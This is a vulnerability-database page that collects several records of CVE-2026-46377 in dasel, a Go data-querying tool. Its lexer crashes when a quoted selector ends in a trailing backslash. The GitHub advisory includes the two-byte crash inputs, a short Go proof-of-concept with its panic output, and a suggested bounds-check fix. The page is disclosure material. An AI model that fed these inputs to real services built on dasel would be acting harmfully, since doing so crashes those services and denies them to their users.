Vulnerability-Lookup

CVE-2026-46377 (GCVE-0-2026-46377)

Vulnerability from cvelistv5 – Published: 2026-07-16 17:57 – Updated: 2026-07-16 18:21

Title

Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string

Summary

Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as "\ or '\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1.

Severity

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-129 - Improper Validation of Array Index

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/TomWright/dasel/security/advis…	x_refsource_CONFIRM
https://github.com/TomWright/dasel/commit/5fc1172…	x_refsource_MISC
https://github.com/TomWright/dasel/releases/tag/v3.10.1	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
TomWright	dasel	Affected: >= 3.0.0, < 3.10.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-46377",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-16T18:21:25.556634Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-16T18:21:45.505Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dasel",
          "vendor": "TomWright",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.10.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as \"\\ or \u0027\\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 6.2,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-129",
              "description": "CWE-129: Improper Validation of Array Index",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-16T17:57:16.643Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq"
        },
        {
          "name": "https://github.com/TomWright/dasel/commit/5fc1172287df89860caf139b146007d7ed12178c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/TomWright/dasel/commit/5fc1172287df89860caf139b146007d7ed12178c"
        },
        {
          "name": "https://github.com/TomWright/dasel/releases/tag/v3.10.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/TomWright/dasel/releases/tag/v3.10.1"
        }
      ],
      "source": {
        "advisory": "GHSA-m5j3-4634-c2vq",
        "discovery": "UNKNOWN"
      },
      "title": "Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-46377",
    "datePublished": "2026-07-16T17:57:16.643Z",
    "dateReserved": "2026-05-13T19:53:47.921Z",
    "dateUpdated": "2026-07-16T18:21:45.505Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-46377",
      "date": "2026-06-14",
      "epss": "0.00052",
      "percentile": "0.16922"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-46377\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-16T19:16:46.127\",\"lastModified\":\"2026-07-16T19:16:46.127\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as \\\"\\\\ or \u0027\\\\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"TomWright\",\"product\":\"dasel\",\"versions\":[{\"version\":\"\u003e= 3.0.0, \u003c 3.10.1\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":6.2,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.5,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-16T18:21:25.556634Z\",\"id\":\"CVE-2026-46377\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-129\"}]}],\"references\":[{\"url\":\"https://github.com/TomWright/dasel/commit/5fc1172287df89860caf139b146007d7ed12178c\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/TomWright/dasel/releases/tag/v3.10.1\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-46377\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-16T18:21:25.556634Z\"}}}], \"references\": [{\"url\": \"https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-16T18:21:41.589Z\"}}], \"cna\": {\"title\": \"Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string\", \"source\": {\"advisory\": \"GHSA-m5j3-4634-c2vq\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 6.2, \"attackVector\": \"LOCAL\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"TomWright\", \"product\": \"dasel\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 3.0.0, \u003c 3.10.1\"}]}], \"references\": [{\"url\": \"https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq\", \"name\": \"https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/TomWright/dasel/commit/5fc1172287df89860caf139b146007d7ed12178c\", \"name\": \"https://github.com/TomWright/dasel/commit/5fc1172287df89860caf139b146007d7ed12178c\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/TomWright/dasel/releases/tag/v3.10.1\", \"name\": \"https://github.com/TomWright/dasel/releases/tag/v3.10.1\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as \\\"\\\\ or \u0027\\\\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-129\", \"description\": \"CWE-129: Improper Validation of Array Index\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-16T17:57:16.643Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-46377\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-16T18:21:45.505Z\", \"dateReserved\": \"2026-05-13T19:53:47.921Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-16T17:57:16.643Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-46377

Vulnerability from fkie_nvd - Published: 2026-07-16 19:16 - Updated: 2026-07-16 19:16

Severity

6.2 (Medium) - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/TomWright/dasel/commit/5fc1172287df89860caf139b146007d7ed12178c
	security-advisories@github.com	https://github.com/TomWright/dasel/releases/tag/v3.10.1
	security-advisories@github.com	https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "dasel",
          "vendor": "TomWright",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.10.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as \"\\ or \u0027\\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1."
    }
  ],
  "id": "CVE-2026-46377",
  "lastModified": "2026-07-16T19:16:46.127",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 6.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.5,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-46377",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-16T18:21:25.556634Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-16T19:16:46.127",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/TomWright/dasel/commit/5fc1172287df89860caf139b146007d7ed12178c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/TomWright/dasel/releases/tag/v3.10.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-129"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-M5J3-4634-C2VQ

Vulnerability from github – Published: 2026-05-19 20:08 – Updated: 2026-05-19 20:08

Summary

Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string

Details

Summary

dasel's selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., "\ or '\). A 2-byte input causes an immediate process crash via Go runtime panic.

I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.

Details

The bug is in the escape sequence handler within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L191-L194:

if p.src[pos] == '\\' {
    pos++
    buf = append(buf, rune(p.src[pos]))  // line 193: no bounds check
    pos++
    continue
}

When a backslash is the last character inside quotes, pos++ increments the position past the end of the input. The subsequent p.src[pos] attempts to read past the end of the slice, which Go turns into a runtime panic: runtime error: index out of range [2] with length 2.

Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the escape sequence path does not perform a similar bounds check.

Minimal trigger: "\ or '\ (2 bytes)

Test environment:

MacBook Air (Apple M2), macOS / Darwin arm64
Go 1.26.1
dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)

PoC

package main

import (
    "fmt"
    "runtime"
    "runtime/debug"

    "github.com/tomwright/dasel/v3/selector/lexer"
)

func main() {
    fmt.Printf("Go version: %s\n", runtime.Version())
    fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
    fmt.Println()

    for _, input := range []string{`"\`, `'\`} {
        fmt.Printf("Input: %s\n", input)
        func() {
            defer func() {
                if r := recover(); r != nil {
                    fmt.Printf("PANIC: %v\n", r)
                    debug.PrintStack()
                }
            }()
            t := lexer.NewTokenizer(input)
            tokens, err := t.Tokenize()
            if err != nil {
                fmt.Printf("Error: %v\n", err)
            } else {
                fmt.Printf("OK: %d tokens\n", len(tokens))
            }
        }()
        fmt.Println()
    }
}

Observed output on v3.3.1 in the test environment above:

Go version: go1.26.1
GOARCH: arm64

Input: "\
PANIC: runtime error: index out of range [2] with length 2
goroutine 1 [running]:
...
github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)
    .../selector/lexer/tokenize.go:193 +0x1c2c
...

Input: '\
PANIC: runtime error: index out of range [2] with length 2
goroutine 1 [running]:
...
github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)
    .../selector/lexer/tokenize.go:193 +0x1c2c
...

Impact

An attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics.

The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced: - Web applications using dasel for dynamic data querying - Applications that construct selectors from user input - Shared tooling environments where selectors are passed as parameters

Suggested Fix

Add a bounds check after incrementing pos past the backslash, consistent with the existing UnexpectedEOFError handling for unterminated quoted strings:

if p.src[pos] == '\\' {
    pos++
    if pos >= p.srcLen {
        return Token{}, &UnexpectedEOFError{Pos: pos}
    }
    buf = append(buf, rune(p.src[pos]))
    pos++
    continue
}

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tomwright/dasel/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "last_affected": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46377"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T20:08:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`dasel`\u0027s selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., `\"\\` or `\u0027\\`). A 2-byte input causes an immediate process crash via Go runtime panic.\n\nI confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.\n\n### Details\n\nThe bug is in the escape sequence handler within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L191-L194`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L191-L194):\n\n```go\nif p.src[pos] == \u0027\\\\\u0027 {\n    pos++\n    buf = append(buf, rune(p.src[pos]))  // line 193: no bounds check\n    pos++\n    continue\n}\n```\n\nWhen a backslash is the last character inside quotes, `pos++` increments the position past the end of the input. The subsequent `p.src[pos]` attempts to read past the end of the slice, which Go turns into a runtime panic: `runtime error: index out of range [2] with length 2`.\n\nNotably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the escape sequence path does not perform a similar bounds check.\n\nMinimal trigger: `\"\\` or `\u0027\\` (2 bytes)\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc main() {\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\tfor _, input := range []string{`\"\\`, `\u0027\\`} {\n\t\tfmt.Printf(\"Input: %s\\n\", input)\n\t\tfunc() {\n\t\t\tdefer func() {\n\t\t\t\tif r := recover(); r != nil {\n\t\t\t\t\tfmt.Printf(\"PANIC: %v\\n\", r)\n\t\t\t\t\tdebug.PrintStack()\n\t\t\t\t}\n\t\t\t}()\n\t\t\tt := lexer.NewTokenizer(input)\n\t\t\ttokens, err := t.Tokenize()\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"Error: %v\\n\", err)\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"OK: %d tokens\\n\", len(tokens))\n\t\t\t}\n\t\t}()\n\t\tfmt.Println()\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nGo version: go1.26.1\nGOARCH: arm64\n\nInput: \"\\\nPANIC: runtime error: index out of range [2] with length 2\ngoroutine 1 [running]:\n...\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n    .../selector/lexer/tokenize.go:193 +0x1c2c\n...\n\nInput: \u0027\\\nPANIC: runtime error: index out of range [2] with length 2\ngoroutine 1 [running]:\n...\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n    .../selector/lexer/tokenize.go:193 +0x1c2c\n...\n```\n\n### Impact\n\nAn attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics.\n\nThe selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:\n- Web applications using dasel for dynamic data querying\n- Applications that construct selectors from user input\n- Shared tooling environments where selectors are passed as parameters\n\n### Suggested Fix\n\nAdd a bounds check after incrementing `pos` past the backslash, consistent with the existing `UnexpectedEOFError` handling for unterminated quoted strings:\n\n```go\nif p.src[pos] == \u0027\\\\\u0027 {\n    pos++\n    if pos \u003e= p.srcLen {\n        return Token{}, \u0026UnexpectedEOFError{Pos: pos}\n    }\n    buf = append(buf, rune(p.src[pos]))\n    pos++\n    continue\n}\n```",
  "id": "GHSA-m5j3-4634-c2vq",
  "modified": "2026-05-19T20:08:12Z",
  "published": "2026-05-19T20:08:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TomWright/dasel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-46377 (GCVE-0-2026-46377)

FKIE_CVE-2026-46377

GHSA-M5J3-4634-C2VQ

Summary

Details

PoC

Impact

Suggested Fix

Tags

Sightings

Nomenclature